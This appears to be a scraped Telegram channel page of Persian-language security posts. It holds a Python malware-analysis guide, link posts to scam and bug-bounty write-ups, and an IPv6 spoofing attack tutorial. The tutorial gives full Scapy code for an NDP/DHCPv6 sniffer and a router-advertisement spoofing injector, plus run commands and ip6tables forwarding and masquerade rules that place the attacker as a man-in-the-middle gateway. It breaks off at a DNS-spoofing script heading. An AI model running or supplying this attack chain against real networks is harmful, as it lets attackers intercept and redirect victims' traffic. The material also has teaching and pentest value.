Mr. SAM – Telegram
Mr. SAM
147 subscribers
131 photos
7 videos
23 files
751 links
چهارشنبه
۱۰ ‏( دی = ۱۰ )‏ ۱٤۰٤
‏31 ( دسامبر = december = 12 ) 2025
تکنیک‌ها ، کالبدشکافی ، درک عمیق ، یک قدم جلوتر ...
https://news.1rj.ru/str/boost/NullError_ir
Download Telegram
#Malware_Analysis

تحلیل بدافزار پایتونی یک فرآیند چند مرحله‌ای است که نیازمند ترکیبی از ابزارهای مختلف و دو رویکرد اصلی تحلیل استاتیک و تحلیل دینامیک است.

۱. استخراج کامل محتویات

اولین قدم استخراج محتویات فایل اجرایی است که با ابزار pyinstXtractor به درستی انجام می‌شود. پس از اجرای این ابزار، شما یک پوشه جدید خواهید داشت که حاوی چندین فایل و کتابخانه است. مهم‌ترین فایل‌ها برای ما، آنهایی هستند که پسوند .pyc دارند. این‌ها نسخه‌های کامپایل‌شده کدهای پایتون هستند.

۲. حالا باید فایل‌های pyc را به کد پایتون قابل خواندن تبدیل کنید. ابزارهای مختلفی برای این کار وجود دارد که بهترین آن‌ها عبارتند از:

۔uncompyle6: یکی از محبوب‌ترین و قدرتمندترین ابزارها برای این کار است.

۔pycdc: ابزار دیگری که به زبان C++ نوشته شده و سرعت بالایی دارد.

نکته مهم: ممکن است دیکامپایلر نتواند کد را به صورت ۱۰۰٪ کامل و بی‌نقص بازگردانی کند، خصوصاً اگر کد مبهم‌سازی (obfuscation) شده باشد. اما در اکثر موارد، کد حاصل به اندازه کافی برای تحلیل خوانا خواهد بود.

۳. تحلیل استاتیک (Static Analysis)

در این مرحله، شما کد پایتون به دست آمده را بدون اجرا کردن آن بررسی می‌کنید. هدف، درک عملکرد بدافزار از روی سورس کد آن است. به دنبال موارد زیر بگردید:

* کتابخانه‌های مشکوک: به import های ابتدای کد دقت کنید. کتابخانه‌هایی مانند:

۔* os, subprocess, shutil: برای تعامل با سیستم عامل، اجرای دستورات و دستکاری فایل‌ها.
۔* socket, requests, urllib: برای برقراری ارتباطات شبکه‌ای (مثلاً ارسال اطلاعات به سرور مهاجم).
۔* pynput, keyboard: برای ضبط کلیدهای فشرده شده (Keylogger).
۔* cryptography, pycryptodome: برای رمزنگاری فایل‌ها (که در باج‌افزارها استفاده می‌شود).
۔* threading: برای اجرای همزمان چندین عملیات مخرب.

* کدهای مبهم‌سازی شده (Obfuscated Code): بدافزارنویس‌ها اغلب کدهای خود را پیچیده می‌کنند تا تحلیل آن دشوار شود. به دنبال موارد زیر باشید:

* استفاده زیاد از توابع eval() و exec() که رشته‌ها را به عنوان کد اجرا می‌کنند.
* متغیرها و رشته‌های کدگذاری شده با Base64, Hex یا الگوریتم‌های دیگر.* نام‌های بی‌معنی برای متغیرها و توابع (مثلاً a1, b2, o).

* عملکردهای کلیدی: سعی کنید منطق اصلی برنامه را بفهمید.

* آیا به فایل‌های خاصی دسترسی پیدا می‌کند؟ (مثلاً فایل‌های شخصی در دسکتاپ یا پوشه Documents)
* آیا در رجیستری ویندوز تغییری ایجاد می‌کند تا به صورت پایدار در سیستم باقی بماند (Persistence)؟
* آیا به آدرس IP یا دامنه‌ی خاصی متصل می‌شود؟ (این آدرس‌ها را استخراج کنید).
* آیا خودش را کپی می‌کند یا فایل‌های دیگری را دانلود و اجرا می‌کند؟


۴. تحلیل دینامیک (Dynamic Analysis)

در این مرحله، بدافزار را در یک محیط ایزوله و امن (Sandbox) اجرا کرده و رفتار آن را زیر نظر می‌گیرید. هرگز بدافزار را روی سیستم اصلی خود اجرا نکنید!

راه‌اندازی محیط ایزوله

* از یک ماشین مجازی (Virtual Machine) مانند VirtualBox یا VMware استفاده کنید.
* مطمئن شوید که ماشین مجازی به شبکه اصلی شما دسترسی ندارد یا دسترسی آن محدود است (مثلاً از طریق تنظیمات شبکه NAT).
* از قابلیت Snapshot در ماشین مجازی استفاده کنید تا بتوانید پس از هر بار اجرای بدافزار، به راحتی سیستم را به حالت اولیه بازگردانید.
* ابزارهای مانیتورینگ: قبل از اجرای بدافزار، ابزارهای زیر را در ماشین مجازی خود آماده کنید:

۔* Process Monitor (ProcMon)): برای مشاهده تمام فعالیت‌های مربوط به فایل‌ها، رجیستری و فرآیندهای ایجاد شده توسط بدافزار.
۔* Wireshark: برای شنود و تحلیل ترافیک شبکه. ببینید بدافزار به چه آدرس‌هایی متصل می‌شود و چه اطلاعاتی را ارسال یا دریافت می‌کند.
۔* RegShot: برای مقایسه وضعیت رجیستری قبل و بعد از اجرای بدافزار و شناسایی تغییرات.

اجرا و مشاهده

1. یک Snapshot از ماشین مجازی خود بگیرید.
2. ابزارهای مانیتورینگ را اجرا کنید.
3. فایل بدافزار را اجرا کنید.
4. اجازه دهید چند دقیقه کار کند و رفتار آن را زیر نظر بگیرید.
5. ترافیک شبکه، فایل‌های ایجاد/حذف/ویرایش شده و تغییرات رجیستری را تحلیل کنید.
6. پس از پایان تحلیل، ماشین مجازی را به Snapshot قبلی برگردانید.

@NullError_ir 📢
Please open Telegram to view this post
VIEW IN TELEGRAM
#RF_Analyzer

ورژن RF Analyzer 2.0 منتشر شد:

برنامه اندروید سازگار با RTL-SDR

این برنامه رایگان نیست، اما قیمت آن فقط چند دلار است و یک دوره آزمایشی رایگان ۷ روزه با محدودیت زمانی ۶۰ دقیقه دارد

@NullError_ir 📢
Please open Telegram to view this post
VIEW IN TELEGRAM
❏ </Mr. SAM/> ❏

░▒▓█ cyberguy █▓▒░

Sam’s Club $100 reward email scam alert

🔗 ➢➣➤ More ...

@NullError_ir 📢
❏ </Mr. SAM/> ❏

░▒▓█ infosecwriteups █▓▒░

Recon Roulette: Spinning Old Subdomains into a Fresh Critical Takeover

🔗 ➢➣➤ More ...

@NullError_ir 📢
❏ </Mr. SAM/> ❏

░▒▓█ infosecwriteups █▓▒░

“Day 12: The Rate Limit Paradox — How I Weaponized API Protections for a $500 DoS Bug”

🔗 ➢➣➤ More ...

@NullError_ir 📢
#IPV6

شاهراهی برای نفوذگران (IPv6) راهنمای جامع حملات جعل هویت

امنیت IPv6 اخیراً به یک موضوع حیاتی تبدیل شده است. در این نوشته، به بررسی حملات رایج در شبکه‌های IPv6 و روش‌های مقابله با آن‌ها خواهیم پرداخت.

مقدمه

اگرچه IPv6 هنوز در همه‌جا پیاده‌سازی نشده، اما اکثر سیستم‌عامل‌های مدرن آن را به صورت پیش‌فرض فعال دارند. این وضعیت در شبکه‌های سازمانی اغلب به ایجاد آسیب‌پذیری‌های پنهان منجر می‌شود: حتی اگر شبکه رسماً فقط از IPv4 استفاده کند، سیستم‌های ویندوزی به طور پیش‌فرض IPv6 را ترجیح می‌دهند و به صورت دوره‌ای درخواست تنظیمات IPv6 را ارسال می‌کنند.

مهاجمان می‌توانند از ماهیت مبتنی بر اعتماد پروتکل‌های IPv6 برای اجرای حملات در شبکه محلی سوءاستفاده کنند. حملات جعل هویت (Spoofing) به‌ویژه خطرناک هستند، جایی که مهاجم هویت یک دستگاه قانونی در شبکه را جعل کرده یا با تزریق بسته‌های جعلی، حملات مرد میانی (MITM) و جعل DNS را در شبکه محلی اجرا می‌کند.

سلب مسئولیت

این نوشته ماهیت آموزشی داشته و صرفاً برای متخصصان امنیت اطلاعات که در چارچوب قراردادهای قانونی فعالیت‌های آزمون نفوذ انجام می‌دهند، تهیه شده است. نویسنده و وب‌سایت و منتشر کننده هیچ‌گونه مسئولیتی در قبال خسارات ناشی از استفاده از اطلاعات این نوشته را ندارند. توزیع بدافزار، اختلال در سیستم‌ها و نقض حریم خصوصی مکاتبات، خلاف قانون بوده و می‌تواند منجر به پیگرد کیفری شود.

آشنایی با مفاهیم پایه‌ی IPv6

هر دستگاهی که IPv6 روی آن فعال باشد، به طور خودکار یک آدرس link-local از رنج fe80::/10 دریافت می‌کند. این آدرس بدون نیاز به سرور DHCPv6 یا پیشوندهای سراسری (Global Prefix) ساخته می‌شود و برای عملکرد پروتکل‌های کلیدی لایه پایین مانند SLAAC, NDP, RA و RS ضروری است.

آدرس‌های Link-local تنها در یک سگمنت لایه ۲ (L2) معتبر هستند و به خارج از آن مسیریابی نمی‌شوند. با این حال، در داخل همان سگمنت، این آدرس‌ها شناسه اصلی دستگاه‌ها در ترافیک سرویس IPv6 محسوب می‌شوند.

این یعنی:

سرورهای DHCPv6، روترها، کلاینت‌ها و مهاجمان، همگی با استفاده از آدرس‌های fe80::/10 با یکدیگر تبادل پیام می‌کنند.

هر دستگاهی که یک بسته RA (Router Advertisement) یا NA (Neighbor Advertisement) دریافت کند، آدرس link-local فرستنده را به عنوان منبع مسیر، گیت‌وی یا سرور DNS ثبت می‌کند.

مهاجمی که آدرس fe80:: خود را می‌داند، می‌تواند بدون اطلاع از پیشوند سراسری شبکه، بسته‌های RA را جعل کرده و خود را به عنوان گیت‌وی یا سرور DNS جا بزند.

بنابراین، آدرس link-local در IPv6 یک شناسه لایه ۲ حیاتی است که دانستن آن برای اکثر حملات جعل هویت در شبکه محلی ضروری است.

جادوی Multicast

در شبکه‌های IPv4، از ترافیک Broadcast برای شناسایی میزبان‌ها در یک سگمنت استفاده می‌شد (مانند درخواست‌های ARP). در IPv6، مفهوم Broadcast حذف و با گروه‌های Multicast جایگزین شده است. یعنی به جای ارسال بسته‌ها به تمام میزبان‌ها، دستگاه‌ها به گروه‌های خاصی گوش می‌دهند.

۔* ff02::1آدرس All-nodes multicast: آدرسی برای تمام دستگاه‌های موجود در سگمنت محلی. هر دستگاهی که IPv6 روی آن فعال باشد، به طور خودکار عضو این گروه است.

۔* ff02::2آدرس All-Routers Multicast: آدرسی برای تمام روترهای موجود در سگمنت محلی. روترها موظف به پذیرش بسته‌های ارسالی به این آدرس هستند.

این مکانیزم به مهاجم اجازه می‌دهد تا بدون دانستن آدرس تک‌تک دستگاه‌ها، با تمام میزبان‌ها یا روترها به طور همزمان تعامل داشته باشد. این قابلیت در موارد زیر کاربرد دارد:

جمع‌آوری اطلاعات درباره شبکه
حملات مربوط به جعل RA (Router Advertisement)
ربودن DNS از طریق RDNSS

شنود پنهانی در شبکه: هنر جمع‌آوری اطلاعات با NDP

این یک تکنیک فوق‌العاده کاربردی برای جمع‌آوری اطلاعات در شبکه‌های IPv6 است. البته می‌توانیم با ارسال پینگ Multicast به ff02::1 و ff02::2 میزبان‌ها و روترها را پیدا کنیم، اما این روش بسیار پر سر و صدا و قابل شناسایی است.

یک روش بسیار جذاب‌تر، شناسایی غیرفعال میزبان‌ها (Passive Host Detection) از طریق تحلیل ترافیک عبوری است. ما می‌توانیم با گوش دادن به پروتکل‌های کلیدی مانند NDP, SLAAC, DHCPv6 و MLD، میزبان‌های فعال را شناسایی کرده و ساختار شبکه را درک کنیم.

ساخت یک شنودگر (Sniffer) سفارشی

می‌توان فرآیند تحلیل این ترافیک را با یک اسکریپت پایتون کوچک و کتابخانه Scapy خودکار کرد:

@NullError_ir 📢
Please open Telegram to view this post
VIEW IN TELEGRAM
#!/usr/bin/env python3

from scapy.all import *
from scapy.layers.dhcp6 import *
from datetime import datetime
from colorama import Fore, Style, init
import argparse

init(autoreset=True)

DHCP6_TYPES = {
DHCP6_Solicit: "Solicit",
DHCP6_Advertise: "Advertise",
DHCP6_Request: "Request",
DHCP6_Reply: "Reply",
DHCP6_Renew: "Renew",
DHCP6_Rebind: "Rebind",
DHCP6_RelayForward: "Relay-Forward",
DHCP6_RelayReply: "Relay-Reply"
}

ICMP6_TYPES = {
ICMPv6ND_RS: ("ICMPv6 - Router Solicitation", Fore.CYAN),
ICMPv6ND_RA: ("ICMPv6 - Router Advertisement", Fore.GREEN),
ICMPv6ND_NS: ("ICMPv6 - Neighbor Solicitation", Fore.BLUE),
ICMPv6ND_NA: ("ICMPv6 - Neighbor Advertisement", Fore.MAGENTA),
ICMPv6ND_Redirect: ("ICMPv6 - Redirect", Fore.LIGHTRED_EX),
ICMPv6MLReport: ("ICMPv6 - MLD Report", Fore.LIGHTCYAN_EX),
ICMPv6MLReport2: ("ICMPv6 - MLD Report", Fore.LIGHTCYAN_EX),
ICMPv6MLDone: ("ICMPv6 - MLD Done", Fore.LIGHTCYAN_EX),
ICMPv6EchoRequest: ("ICMPv6 - Echo Request", Fore.LIGHTBLACK_EX),
ICMPv6EchoReply: ("ICMPv6 - Echo Reply", Fore.LIGHTBLACK_EX)
}

def handle(pkt):
eth_src = pkt[Ether].src if Ether in pkt else "?"
eth_dst = pkt[Ether].dst if Ether in pkt else "?"
ip6_src = pkt[IPv6].src if IPv6 in pkt else "?"
ip6_dst = pkt[IPv6].dst if IPv6 in pkt else "?"

# ICMPv6 Detection
for proto, (desc, color) in ICMP6_TYPES.items():
if proto in pkt:
break
else:
# DHCPv6 Detection
if UDP in pkt and pkt[UDP].dport == 547:
for dhcp_type, name in DHCP6_TYPES.items():
if dhcp_type in pkt:
desc = f"DHCPv6 - {name}"
color = Fore.YELLOW
break
else:
return
else:
return

print(color + f"[{datetime.now().strftime('%H:%M:%S')}] {desc}")
print(f"{Style.DIM} MAC {eth_src} -> {eth_dst}")
print(f"{Style.DIM} IPv6 {ip6_src} -> {ip6_dst}")
print(Style.RESET_ALL + "-" * 60)

if __name__ == "__main__":
parser = argparse.ArgumentParser(denoscription="IPv6 NDP & DHCPv6 Sniffer")
parser.add_argument("-i", "--interface", required=True, help="Interface to sniff on")
parser.add_argument("-t", "--time", type=int, default=0, help="Sniff duration (0 = infinite)")
args = parser.parse_args()

print(Fore.LIGHTWHITE_EX + f"[*] Sniffing on {args.interface} for {args.time or '∞'} seconds...\n")
sniff(iface=args.interface, prn=handle, timeout=args.time or None, store=0)



این شنودگر به طور غیرفعال به پروتکل‌های کلیدی IPv6 گوش می‌دهد و اطلاعات مفیدی مانند آدرس‌های MAC، آدرس‌های IPv6 و نوع پیام‌ها را نمایش می‌دهد. با تحلیل خروجی این ابزار، می‌توان بدون نیاز به اسکن فعال، داده‌های ارزشمندی از شبکه جمع‌آوری کرد.

حمله جعل هویت روتر (RA Spoofing)

در این حمله، مهاجم بسته‌های جعلی Router Advertisement (RA) را به سگمنت محلی ارسال کرده و وانمود می‌کند که یک روتر است. این کار به او اجازه می‌دهد تا یک پیشوند IPv6 جعلی معرفی کرده و خود را به عنوان گیت‌وی پیش‌فرض (Default Gateway) برای تمام میزبان‌ها تحمیل کند.

مهم‌ترین پارامتر در این حمله routerlifetime است. این پارامتر به میزبان می‌گوید که فرستنده RA را برای چند ثانیه به عنوان یک روتر معتبر در نظر بگیرد.

اگر routerlifetime=0 باشد، میزبان مسیر خود از طریق آن گیت‌وی را حذف می‌کند.
اگر routerlifetime=1800 باشد، میزبان تا ۳۰ دقیقه مهاجم را به عنوان گیت‌وی پیش‌فرض می‌پذیرد.

اسکریپت تزریق‌کننده (Injector)

اسکریپت زیر یک حمله پایه‌ای RA Spoofing را پیاده‌سازی می‌کند:

@NullError_ir 📢
#!/usr/bin/env python3

from scapy.all import *
import argparse

def main():
parser = argparse.ArgumentParser()
parser.add_argument("-i", "--interface", required=True, help="Network interface (e.g., eth0)")
parser.add_argument("-m", "--mac", required=True, help="Spoofed MAC address to include in the RA")
parser.add_argument("--llip", required=True, help="Your link-local IPv6 address")
parser.add_argument("-l", "--lifetime", type=int, default=1800, help="Router Lifetime in seconds (default: 1800)")
parser.add_argument("--interval", type=int, default=5, help="Interval between packets (default: 5 seconds)")
parser.add_argument("--revert", action="store_true", help="Send RA with router lifetime = 0 to remove route")

args = parser.parse_args()

lifetime = 0 if args.revert else args.lifetime

ra = IPv6(src=args.llip, dst="ff02::1", hlim=255) / \
ICMPv6ND_RA(routerlifetime=lifetime) / \
ICMPv6NDOptSrcLLAddr(lladdr=args.mac)

mode = "REVERT" if args.revert else "SPOOF"
print(f"[+] Sending {mode} RA on {args.interface}")
print(f" Source LL IP: {args.llip}")
print(f" MAC: {args.mac}")
print(f" Lifetime: {lifetime}s")
print(f" Interval: {args.interval}s")

send(ra, iface=args.interface, loop=1, inter=args.interval)

if __name__ == "__main__":
main()



نحوه اجرا:

sudo python3 RA.py --interface eth0 --mac 00:50:00:00:01:00 --lifetime 300 --interval 5 --llip fe80:250:ff:fe00:100


پس از اجرای این حمله، آدرس link-local مهاجم به عنوان گیت‌وی پیش‌فرض در سطح IPv6 روی سیستم قربانی تنظیم می‌شود و تمام ترافیک او از طریق ماشین مهاجم عبور خواهد کرد.

چالش‌های مسیریابی: از کار انداختن شبکه قربانی!

یک اشتباه رایج در اجرای RA Spoofing، نادیده گرفتن تنظیمات مسیریابی در سمت مهاجم است. حتی اگر قربانی RA جعلی شما را بپذیرد، ترافیک او به سمت شما می‌آید، اما اگر شما نتوانید آن را به درستی به مقصد برسانید و پاسخ را برگردانید، اتصال قربانی قطع می‌شود\!

برای جلوگیری از این فاجعه، باید مسیریابی (forwarding) را روی سیستم خود فعال کنید:

# فعال‌سازی forwarding برای IPv6
sudo sysctl -w net.ipv6.conf.all.forwarding=1

# اجازه عبور ترافیک در فایروال
sudo ip6tables -A FORWARD -i eth0 -j ACCEPT

# حل مشکل بازگشت ترافیک با Masquerading
sudo ip6tables -t nat -A POSTROUTING -o eth0 -j MASQUERADE


دستور آخر (MASQUERADE) آدرس IPv6 مبدأ بسته‌های خروجی را با آدرس مهاجم جایگزین می‌کند. این کار تضمین می‌کند که پاسخ‌ها از اینترنت به ماشین شما بازگردند و شما بتوانید آن‌ها را به قربانی تحویل دهید.

حمله جعل سرور DNS با RDNSS

گزینه RDNSS (Recursive DNS Server) مکانیزمی است که به روتر اجازه می‌دهد آدرس سرورهای DNS را مستقیماً از طریق بسته‌های RA به کلاینت‌ها ارسال کند، بدون نیاز به DHCPv6.

نقطه حمله:
مهاجم بسته‌های RA حاوی آدرس یک سرور DNS جعلی (که خودش است) را ارسال می‌کند. کلاینت‌هایی که از RDNSS پشتیبانی می‌کنند (اکثر سیستم‌عامل‌های مدرن مانند ویندوز ۱۰ و ۱۱)، این آدرس را پذیرفته و تمام درخواست‌های DNS خود را به سمت مهاجم ارسال می‌کنند. این کار به مهاجم کنترل کامل بر ترجمه نام‌های دامنه در شبکه را می‌دهد.

اسکریپت حمله RDNSS Spoofing

@NullError_ir 📢